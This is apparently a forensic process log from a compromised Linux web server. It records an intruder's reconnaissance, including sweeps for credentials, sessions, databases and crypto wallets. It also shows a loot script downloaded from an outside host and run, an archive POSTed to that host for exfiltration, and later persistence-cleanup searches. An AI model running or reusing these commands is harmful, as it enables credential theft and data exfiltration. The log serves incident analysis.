| 2026-10-31 01:42:05 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot |
| 2026-10-31 01:42:05 | Not attributed | Not attributed | sh -> sh | find /home -type f -size -256k |
| 2026-10-31 01:43:48 | Not attributed | Not attributed | sh -> sh | grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-443-2 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclude= |
| 2026-10-31 01:43:48 | Not attributed | Not attributed | sh -> sh | timeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclu |
| 2026-10-31 01:43:48 | Not attributed | Not attributed | timeout -> timeout | sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prun |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-443-2 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sh -> sh | ls -laR /var/log |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log |
| 2026-10-31 01:43:58 | Not attributed | Not attributed | sshd -> sshd | bash ; pgrep -af collect.sh|tar ; head -5 ; tail -3 ; ls -la /tmp/<REDACTED>-20261031.tgz /tmp/<REDACTED>-deep.tgz /tmp/t1.tgz ; tail -3 /tmp/c2.out |
| 2026-10-31 01:44:22 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n |
| 2026-10-31 01:44:43 | Not attributed | Not attributed | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print |
| 2026-10-31 01:44:43 | Not attributed | Not attributed | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n |
| 2026-10-31 01:45:14 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c |
| 2026-10-31 01:45:14 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for |
| 2026-10-31 01:45:14 | Not attributed | Not attributed | sh -> sh | cat /etc/crontab |
| 2026-10-31 01:45:14 | Not attributed | Not attributed | sh -> sh | ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron |
| 2026-10-31 01:45:14 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print |
| 2026-10-31 01:45:14 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n |
| 2026-10-31 01:45:19 | Not attributed | Not attributed | sh -> sh | find /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n |
| 2026-10-31 01:45:19 | Not attributed | Not attributed | sh -> sh | grep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc |
| 2026-10-31 01:45:19 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na |
| 2026-10-31 01:45:19 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" |
| 2026-10-31 01:45:19 | Not attributed | Not attributed | sh -> sh | ls -la /etc/supervisor /etc/supervisor/conf.d |
| 2026-10-31 01:45:24 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor |
| 2026-10-31 01:45:24 | Not attributed | Not attributed | sh -> sh | ls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb |
| 2026-10-31 01:45:24 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea |
| 2026-10-31 01:45:24 | Not attributed | Not attributed | sh -> sh | find /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n |
| 2026-10-31 01:45:29 | Not attributed | Not attributed | sshd -> sshd | bash ; head -2 ; pgrep -af collect.sh ; head -3 ; wc -l /tmp/c2.out ; grep -E UPLOAD|META= /tmp/c2.out |
| 2026-10-31 01:45:34 | Not attributed | Not attributed | sh -> sh | php /tmp/.php-loot.4799.php /tmp/<REDACTED>-443-2/php |
| 2026-10-31 01:45:34 | Not attributed | Not attributed | sh -> sh | timeout 120 sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' |
| 2026-10-31 01:45:34 | Not attributed | Not attributed | timeout -> timeout | sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' ; sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' ; sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' ; sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' |
| 2026-10-31 01:45:34 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 20 -o /tmp/.php-loot.4799.php http://206.245.153.56:8088/tools/php-loot.php |
| 2026-10-31 01:45:42 | Not attributed | Not attributed | sshd -> sshd | bash ; head ; pgrep -d, -f collect.sh ; ps -o pid,ppid,stat,wchan:20,cmd -p 4799,6700,6701 ; ls -l /proc/4799/fd ; head |
| 2026-10-31 01:45:58 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:45:58 | Not attributed | Not attributed | sh -> sh | ps -e |
| 2026-10-31 01:45:58 | Not attributed | Not attributed | sh -> sh | rm -f /tmp/.php-loot.4799.php |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | sed -n s/^VERSION_ID=//p /etc/os-release |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | sed -n s/^PRETTY_NAME=//p /etc/os-release |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | sed -n s/^ID=//p /etc/os-release |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sshd -> sshd | bash ; cat /tmp/<REDACTED>-443-2/23-php-loot.txt ; pgrep -af php .*php-loot ; head -2 |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | uname -m |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | id -Gn |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | id -u |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | id -g |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | id -un |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | uname -r |
| 2026-10-31 01:46:02 | Not attributed | Not attributed | sh -> sh | uname -a |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | grep -c ^processor /proc/cpuinfo |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | awk /^MemFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | awk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | awk /^MemTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | awk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | nproc |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | awk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:46:06 | Not attributed | Not attributed | sh -> sh | sed -n s/^VERSION_CODENAME=//p /etc/os-release |
| 2026-10-31 01:46:10 | Not attributed | Not attributed | sh -> sh | df -P / |
| 2026-10-31 01:46:10 | Not attributed | Not attributed | sh -> sh | df -kP / |
| 2026-10-31 01:46:10 | Not attributed | Not attributed | sh -> sh | df -kP / |
| 2026-10-31 01:46:10 | Not attributed | Not attributed | sh -> sh | awk /^SwapFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:46:10 | Not attributed | Not attributed | sh -> sh | awk /^MemAvailable:/{print $2} /proc/meminfo |
| 2026-10-31 01:46:10 | Not attributed | Not attributed | sh -> sh | awk /^SwapTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:46:14 | Not attributed | Not attributed | sh -> sh | ps -e --no-headers |
| 2026-10-31 01:46:20 | Not attributed | Not attributed | sh -> sh | find . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n |
| 2026-10-31 01:46:20 | Not attributed | Not attributed | sh -> sh | find . -type f ! -name manifest.tsv -print0 |
| 2026-10-31 01:46:20 | Not attributed | Not attributed | sh -> sh | find /tmp/<REDACTED>-443-2/git -maxdepth 1 -mindepth 1 -type d |
| 2026-10-31 01:46:30 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-443-2.tgz http://206.245.153.56:8088/1422/<REDACTED>-443-2.tgz |
| 2026-10-31 01:46:51 | Not attributed | Not attributed | sshd -> sshd | bash ; head -3 ; grep -v bash ; pgrep -af collect.sh ; head ; grep -E UPLOAD|META= /tmp/c2.out |
| 2026-10-31 01:47:33 | Not attributed | Not attributed | sshd -> sshd | bash ; head -3 ; grep -E UPLOAD /tmp/c2.out ; ls -l /tmp/<REDACTED>-443-2.tgz |
| 2026-10-31 01:47:33 | Not attributed | Not attributed | sshd -> sshd | bash ; grep -E UPLOAD|TGZ /tmp/c2.out ; head -3 ; pgrep -c -f collect.sh |
| 2026-10-31 01:48:23 | Not attributed | Not attributed | sshd -> sshd | bash ; grep -E :A5D6|:01BB /proc/net/tcp ; awk {print $2} ; wc -l ; pgrep -af j/sshd -f|watch.sh ; head -4 ; ls -la /tmp/service-documents ; ls -l /var/log/apache2/.j |
| 2026-10-31 01:49:15 | Not attributed | Not attributed | sshd -> sshd | bash ; ls -la /tmp/service-documents ; tail -3 ; ls /tmp/c.txt |
| 2026-10-31 01:49:54 | Not attributed | Not attributed | sshd -> sshd | bash ; curl -s -m 10 -o /dev/null -w ip=%{http_code}\n http://10.20.0.2/ ; grep -c /proc/net/tcp ; awk $2 ~ /:0050|:01BB/ /proc/net/tcp |
| 2026-10-31 01:50:09 | Not attributed | Not attributed | sshd -> sshd | bash ; cat /proc/net/tcp ; cat /proc/net/tcp6 ; head -5 ; head -2 ; ls -l /proc/net/ns ; readlink /proc/self/ns/net ; readlink /proc/1/ns/net |
| 2026-10-31 01:53:36 | Not attributed | Not attributed | sshd -> sshd | bash ; ps aux ; grep -c [a]pache2 ; tail -3 /var/log/apache2/error.log ; ps aux ; grep [a]pache2 ; head -3 |
| 2026-10-31 01:53:55 | Not attributed | Not attributed | sshd -> sshd | bash ; wc -l ; ps aux ; grep [a]pache2 ; grep [a]pache2 ; ps -eo pid,stat,etime,cmd |
| 2026-10-31 01:53:55 | Not attributed | Not attributed | sshd -> bash | grep -E State|Threads /proc/64/status ; cat /proc/loadavg ; ls /var/log/apache2/access.log /var/log/apache2/error.log /var/log/apache2/other_vhosts_access.log ; head -3 ; ls -l /proc/64/status |
| 2026-10-31 01:57:29 | Not attributed | Not attributed | sshd -> sshd | bash ; stat -c %s %n /var/log/apache2/access.log ; ls -l /proc/64/fd ; head -5 |
| 2026-10-31 01:58:12 | Not attributed | Not attributed | sshd -> sshd | bash ; ps -eo pid,ppid,stat,etime,cmd ; grep [a]pache2 ; cat /proc/64/wchan ; cat /proc/1/wchan |
| 2026-10-31 01:58:18 | Not attributed | Not attributed | sshd -> bash | ps -eo pid,ppid,stat,etime,cmd ; head -20 |
| 2026-10-31 01:59:21 | Not attributed | Not attributed | sshd -> sshd | bash ; timeout 5 sh -c echo probe > /var/log/apache2/.j/w.probe ; sh -c echo probe > /var/log/apache2/.j/w.probe ; sh -c echo probe > /var/log/apache2/.j/w.probe ; timeout 5 head -c 100 /var/log/apache2/.j/sshd_config ; head -c 100 /var/log/apache2/.j/sshd_config ; head -c 100 /var/log/apache2/.j/sshd_config ; timeout 5 head -c 100 /var/log/apache2/.j/w.probe ; head -c 100 /var/log/apache2/.j/w.probe ; head -c 100 /var/log/apache2/.j/w.probe ; timeout 5 head -c 50 /var/log/apache2/error.log ; head -c 50 /var/log/apache2/error.log ; head -c 50 /var/log/apache2/error.log |
| 2026-10-31 02:00:19 | Not attributed | Not attributed | sshd -> sshd | bash ; ls -l /proc/64/fd ; grep -c socket ; head -3 ; cat /proc/64/stack |
| 2026-10-31 02:00:39 | Not attributed | Not attributed | sshd -> sshd | bash ; id ; hostname ; date |
| 2026-10-31 02:00:39 | Not attributed | Not attributed | bash -> bash | tail -1 ; head -2 ; df -i / ; cat /proc/sys/fs/file-nr ; wc -l ; ls /proc/64/fd ; cat /proc/64/wchan ; cat /proc/1/wchan ; free -m |
| 2026-10-31 02:01:45 | Not attributed | Not attributed | sshd -> sshd | bash ; pgrep -af j/sshd -f|watch.sh ; wc -l ; grep -c Server listening /var/log/apache2/.j/sshd.log |
| 2026-10-31 02:02:11 | Not attributed | Not attributed | sshd -> sshd | bash ; id |
| 2026-10-31 18:30:41 | 2.59.133.151 | 2.59.133.151: 18:31:11 to 18:31:21 UTC, 6 GET, 2 POST to /upload.php, 3.6 MB sent; 2.59.133.151: 18:30:20 to 18:30:33 UTC, 6 GET, 3 POST to /, 5.8 MB sent | apache2 -> sh | curl 37455255:4 ; sleep 5 |
| 2026-11-04 21:27:59 | Not attributed | Not attributed | bash -> bash | curl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.sh |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | rm -f /tmp/.c1104 |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ; |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -name .zz.php |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | readlink -f /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | readlink -f /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ; |
| 2026-11-04 21:28:06 | Not attributed | Not attributed | bash -> bash | find /var/www -name index.php -exec grep -l j336beacon {} ; |
| 2026-11-04 21:28:31 | Not attributed | Not attributed | bash -> bash | bash /tmp/cleanup.sh ; grep -qF /root/.ssh/authorized_keys ; grep -qF /var/www/.ssh/authorized_keys ; grep -qF /var/root/.ssh/authorized_keys ; grep -qF /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:31 | Not attributed | Not attributed | bash -> bash | curl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.sh |
| 2026-11-04 21:28:31 | Not attributed | Not attributed | bash -> bash | curl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.sh |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | find /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ; |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | find /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ; |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | rm -rf /var/tmp/.p |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | readlink -f /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | find /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | find /var/www -name index.php -exec grep -l j336beacon {} ; |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | bash /tmp/cleanup.sh |
| 2026-11-04 21:28:35 | Not attributed | Not attributed | bash -> bash | readlink -f /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | rm -f /tmp/.c1422 |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -name .zz.php |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -name index.php -exec grep -l j336beacon {} ; |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ; |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ; |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | readlink -f /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | readlink -f /var/www/.ssh/authorized_keys |
| 2026-11-04 21:28:44 | Not attributed | Not attributed | bash -> bash | find /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:47 | Not attributed | Not attributed | bash -> bash | find /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ; |
| 2026-11-04 21:28:47 | Not attributed | Not attributed | bash -> bash | find /var/www -name .zz.php |
| 2026-11-04 21:28:47 | Not attributed | Not attributed | bash -> bash | rm -f /tmp/.c1425 |
| 2026-11-04 21:28:47 | Not attributed | Not attributed | bash -> bash | find /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ; |